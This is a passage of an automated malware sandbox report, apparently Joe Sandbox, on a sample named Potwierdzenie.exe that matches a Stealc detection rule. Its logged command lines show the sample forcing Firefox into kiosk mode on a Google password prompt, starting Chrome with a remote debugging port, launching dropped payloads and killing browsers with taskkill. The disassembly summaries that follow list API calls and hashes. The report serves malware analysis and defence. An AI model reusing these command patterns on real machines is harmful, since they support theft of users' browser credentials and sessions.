Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	17:04:41
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6ec4b0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	17:04:41
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	17:04:42
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /s /c "tasklist"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	17:04:42
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x190000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	17:04:43
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe"
Imagebase:	0xab0000
File size:	1'873'408 bytes
MD5 hash:	2FE3E392BFB10C6FAFD7B69F59323458
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	17:04:43
Start date:	18/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	17:04:43
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2192 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {393e729a-11a2-4646-ac3b-aeb91fc0d01a} 2140 "\\.\pipe\gecko-crash-server-pipe.2140" 1177876bd10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	17:04:43
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe"
Imagebase:	0x330000
File size:	2'758'144 bytes
MD5 hash:	B5C6CCFB197B8467AD678281DF44E8BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	17:04:45
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	17:04:46
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2156,i,16863835686114324925,18332772798998799827,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	17:04:49
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe"
Imagebase:	0xfc0000
File size:	4'380'160 bytes
MD5 hash:	F1B25767284AA3DBB2EE4B14CF43AF3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	17:04:50
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4396 -parentBuildID 20230927232528 -prefsHandle 4388 -prefMapHandle 4384 -prefsLen 26309 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcff1d1b-3b14-4d89-bd67-a8febfb9574e} 2140 "\\.\pipe\gecko-crash-server-pipe.2140" 1170a9fb510 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	17:04:51
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe"
Imagebase:	0x490000
File size:	1'834'496 bytes
MD5 hash:	1D1CA9438CB800E982544370F38762F8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000031.00000003.2844747377.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	17:04:53
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2156,i,16863835686114324925,18332772798998799827,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	17:05:00
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe"
Imagebase:	0x150000
File size:	922'624 bytes
MD5 hash:	561515000D33C399C105AB2A75CA70DF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	17:05:00
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xa30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	17:05:00
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	17:05:08
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe"
Imagebase:	0x330000
File size:	2'758'144 bytes
MD5 hash:	B5C6CCFB197B8467AD678281DF44E8BC
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	17:05:12
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBGCBAFCGD.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	17:05:12
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	17:05:12
Start date:	18/11/2024
Path:	C:\Users\user\DocumentsEBGCBAFCGD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsEBGCBAFCGD.exe"
Imagebase:	0x590000
File size:	1'933'824 bytes
MD5 hash:	3ED69839F5DFE75F59A6E74815422AB9
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	17:05:12
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xa30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	17:05:12
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	17:05:12
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xa30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	61
Start time:	17:05:12
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	17:05:13
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xa30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04C70C02 Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750282660.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e7134c9ec278ef2d230dd07bfd9e2d22dc8f89b6c4275e9dca5e341c5ba09ac
Instruction ID: 4b799429773e632ddca4f0f1d98bf036024ba8e0aff1f1495a20c52fe226976b
Opcode Fuzzy Hash: 0e7134c9ec278ef2d230dd07bfd9e2d22dc8f89b6c4275e9dca5e341c5ba09ac
Instruction Fuzzy Hash: 6221496620E3D49FDB074A6796195F97F26ED5723033984EBE4818E013E641390AE373

Function 04C70C7F Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750282660.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dbef43408b8c2e4d84aa7290aeacfd45f95958d8cbec6948de4d8bc27124a68
Instruction ID: 8e15e0c7369613bd66dd2423d0af00efb0a7317b4dbebecea2972023842ae81c
Opcode Fuzzy Hash: 3dbef43408b8c2e4d84aa7290aeacfd45f95958d8cbec6948de4d8bc27124a68
Instruction Fuzzy Hash: 97314D5624E3A4AF97075AA755194F67F27ED4327033884A6E483CE103E244760AA373

Function 04C70C3D Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750282660.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db3338037a1df4b3a182cde9080039121465361c81dc9dfa28029f0b626a652a
Instruction ID: 95bcde758b30b83a998d90de277383304a228e62ce6be3b87294280dea06bc41
Opcode Fuzzy Hash: db3338037a1df4b3a182cde9080039121465361c81dc9dfa28029f0b626a652a
Instruction Fuzzy Hash: D3213B6724D394EFAA075A6716155F97F3BE993270338849BF0438A003E280750AB373

Function 04C70C6C Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750282660.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 918bd1b1adedfb61115777d6c6b9426411eb38d528f6b17077e81b88b35b20d1
Instruction ID: b5f70e9fbb4173a309a73bed43f8395c7fdfd505907ddf3354c651e6d8a9c056
Opcode Fuzzy Hash: 918bd1b1adedfb61115777d6c6b9426411eb38d528f6b17077e81b88b35b20d1
Instruction Fuzzy Hash: 7D114CA634C354FF6A43595746154FA7F2BDA96230334C496F483CA003E381750AB372

Function 04C70CE9 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750282660.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ddfd2a1c480884f91742ae84c0ea45a7802d32350a68af142384b70b6daea9
Instruction ID: cb99e4b7fe51fd54f042ea2b1980b360326993795e49fd3ae152a95d4a47c66f
Opcode Fuzzy Hash: f0ddfd2a1c480884f91742ae84c0ea45a7802d32350a68af142384b70b6daea9
Instruction Fuzzy Hash: 7AF05563248328DB5B571E67810A4B17E33AA2B27033AD592F0838B013A2817A45B763

Function 04C70D08 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750282660.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3674bd32fddbf2ac782698ef32365d58b49a5f282e2879107135591cff62f0e
Instruction ID: 3aec26a476375b2a33c2b84f752af7620baa03d4847f8705b6388e957349df14
Opcode Fuzzy Hash: c3674bd32fddbf2ac782698ef32365d58b49a5f282e2879107135591cff62f0e
Instruction Fuzzy Hash: 20F05C5110D754DFCA061727C5175E57F37AB25364719DA82D0C2C7193E2457442A3A3

Function 04C70CEE Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750282660.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0516953371fa5d87e8519fc3f9dbda32dd5aaf1d87b6a329275401723f560924
Instruction ID: 00bb5afe984bccce1dd9ad5751dd94b85a6ea877f26beb671d552bcb656a0e38
Opcode Fuzzy Hash: 0516953371fa5d87e8519fc3f9dbda32dd5aaf1d87b6a329275401723f560924
Instruction Fuzzy Hash: 08F05552248314EB9E9B0FA781094B07E33AE2727033DE992E0C3CA013E6427941BB72

Function 04C70D33 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750282660.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bd85ad4f01148cec083e06a53cad32ca8be0df4831f3e7c7d2b0b9cdd15726a
Instruction ID: a3a7f2c36df6188683eae3df4824546b3c1827b2f4f700bf50742c370e71c626
Opcode Fuzzy Hash: 9bd85ad4f01148cec083e06a53cad32ca8be0df4831f3e7c7d2b0b9cdd15726a
Instruction Fuzzy Hash: 1FE02671109750CFDB171A27C0068757F33EF16764329E8CAE0D2CB022E6287842EB63

Analysis Process: Potwierdzenie.exePID: 7572, Parent PID: 7496COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	23.7%
Total number of Nodes:	80
Total number of Limit Nodes:	7

Executed Functions

Function 0BC21C20 Relevance: 47.4, APIs: 25, Strings: 2, Instructions: 150
memoryfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,00000002), ref: 0BC21C46
HeapAlloc.KERNEL32(00000000), ref: 0BC21C49
GetModuleFileNameW.KERNEL32(00000000,00000001), ref: 0BC21C59
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0BC21C6D
HeapFree.KERNEL32(00000000), ref: 0BC21C70
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0BC21C7C
HeapAlloc.KERNEL32(00000000), ref: 0BC21C7F
GetModuleFileNameW.KERNEL32(00000000,-0000003F), ref: 0BC21C8F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0BC21C9C
HeapFree.KERNEL32(00000000), ref: 0BC21C9F
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0BC21CC7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0BC21CD2
HeapFree.KERNEL32(00000000), ref: 0BC21CD5
CreateFileMappingW.KERNELBASE(00000000,00000000,00000002,00000000,00000000,00000000), ref: 0BC21CEB
GetFileSize.KERNEL32(00000000,00000000), ref: 0BC21D07
MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 0BC21D18
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000001,00000000), ref: 0BC21D32
MapViewOfFile.KERNELBASE(00000000,00000002,00000000,00000000,00000001), ref: 0BC21D48
GetModuleHandleW.KERNEL32(ntdll.dll,RtlMoveMemory), ref: 0BC21D5F
GetProcAddress.KERNEL32(00000000), ref: 0BC21D66
UnmapViewOfFile.KERNEL32(?), ref: 0BC21D7A
CloseHandle.KERNEL32(00000000), ref: 0BC21D8D
UnmapViewOfFile.KERNELBASE(?), ref: 0BC21D92
CloseHandle.KERNELBASE(00000000), ref: 0BC21D9C
CloseHandle.KERNEL32(00000000), ref: 0BC21D9F

Strings

ntdll.dll, xrefs: 0BC21D5A
RtlMoveMemory, xrefs: 0BC21D55

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: FileHeap$Process$HandleView$CloseCreateFreeModule$AllocMappingNameUnmap$AddressProcSize
String ID: RtlMoveMemory$ntdll.dll
API String ID: 166767969-3196484093
Opcode ID: 3041fb72d895d186bc2dbcb9fb57cefb232f4654b227c0ea423bc86b2c763a5d
Instruction ID: 28b7095db019ff7cf12a42fa3238daafe49f78a82929a9db33440f7783da251c
Opcode Fuzzy Hash: 3041fb72d895d186bc2dbcb9fb57cefb232f4654b227c0ea423bc86b2c763a5d
Instruction Fuzzy Hash: 0241B675781318BBEB215FA5EC4DF5A3BA8EB54B11F144039FB06EA1C0DA71DB018B64

Function 00402E70 Relevance: 84.4, APIs: 46, Strings: 2, Instructions: 428
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_win32_console_fileno_set_vt100.PHP8(00000001,00000001), ref: 00402EF5
php_win32_console_fileno_set_vt100.PHP8(00000002,00000001), ref: 00402EFF
__p__fmode.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00402F12
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00008000), ref: 00402F24
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00402F2B
_setmode.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00402F35
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00008000), ref: 00402F45
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00402F4C
_setmode.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00402F56
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00008000), ref: 00402F66
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00402F6D
_setmode.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00402F77
php_getopt.PHP8(?,00000000,0040D660,?,?,00000001,00000002), ref: 00402F92
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00402FC6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00402FD2
strchr.VCRUNTIME140(?,0000003D), ref: 00403003
isalnum.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0040301E
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?), ref: 00403047
memmove.VCRUNTIME140(?,?,00000001), ref: 00403061
memmove.VCRUNTIME140(?,?,?,?,?,00000001), ref: 00403086
php_getopt.PHP8(?,?,0040D660,?,00000001,00000001,00000002), ref: 0040316C
sapi_startup.PHP8(0041B018), ref: 004031CC
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?), ref: 004031FB
memmove.VCRUNTIME140(0000006E,00000000,?), ref: 0040320F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000070), ref: 0040322B
php_win32_cp_cli_do_setup.PHP8(00000000), ref: 0040327E
php_win32_cp_get_orig.PHP8 ref: 00403287
GetCommandLineW.KERNEL32(?), ref: 00403298
CommandLineToArgvW.SHELL32(00000000), ref: 0040329F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 004032B4
php_win32_cp_conv_w_to_cur.PHP8(00000000,00000000,000000FF), ref: 004032D7
SetConsoleCtrlHandler.KERNEL32(00401C50), ref: 004032F9
_setjmp3.VCRUNTIME140(?), ref: 00403338
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00403388
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00403396
php_module_shutdown.PHP8 ref: 004033A5
sapi_shutdown.PHP8 ref: 004033B1
php_win32_cp_cli_do_restore.PHP8(00000000), ref: 004033B9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 004033D4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 004033E3
LocalFree.KERNEL32(?), ref: 004033EF
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 00403403

Strings

html_errors=0register_argc_argv=1implicit_flush=1output_buffering=0max_execution_time=0max_input_time=-1, xrefs: 00403219, 00403238
=1, xrefs: 0040311A

Memory Dump Source

Source File: 0000000A.00000002.2880896410.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2880715400.0000000000400000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2881798543.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2881916753.000000000041B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2882058353.000000000041D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Potwierdzenie.jbxd

Similarity

API ID: free$__acrt_iob_func_fileno_setmodememmove$CommandLinemallocphp_getoptphp_win32_console_fileno_set_vt100realloc$ArgvConsoleCtrlFreeHandlerLocal__p__fmode_setjmp3_strdupexitisalnumphp_module_shutdownphp_win32_cp_cli_do_restorephp_win32_cp_cli_do_setupphp_win32_cp_conv_w_to_curphp_win32_cp_get_origsapi_shutdownsapi_startupstrchr
String ID: =1$html_errors=0register_argc_argv=1implicit_flush=1output_buffering=0max_execution_time=0max_input_time=-1
API String ID: 3080087169-2557016534
Opcode ID: 01cce504a233d419f2b6349368fd238bd57db098e01ebb6517ac2ccbfef65b22
Instruction ID: 558dabb2d1b315391bf9c8003009963954a9c43dc5ee3436bcc4efc9578455da
Opcode Fuzzy Hash: 01cce504a233d419f2b6349368fd238bd57db098e01ebb6517ac2ccbfef65b22
Instruction Fuzzy Hash: CB026B70900204DFDB109F68DD89A9A7BA8FF08309F05423AFC59B7391D779AA54CB99

Function 00401320 Relevance: 7.6, APIs: 5, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001), ref: 00401371
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00004000,00000000), ref: 00401386
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001), ref: 00401397
ferror.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 0040139E
php_handle_aborted_connection.PHP8 ref: 004013BB

Memory Dump Source

Source File: 0000000A.00000002.2880896410.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

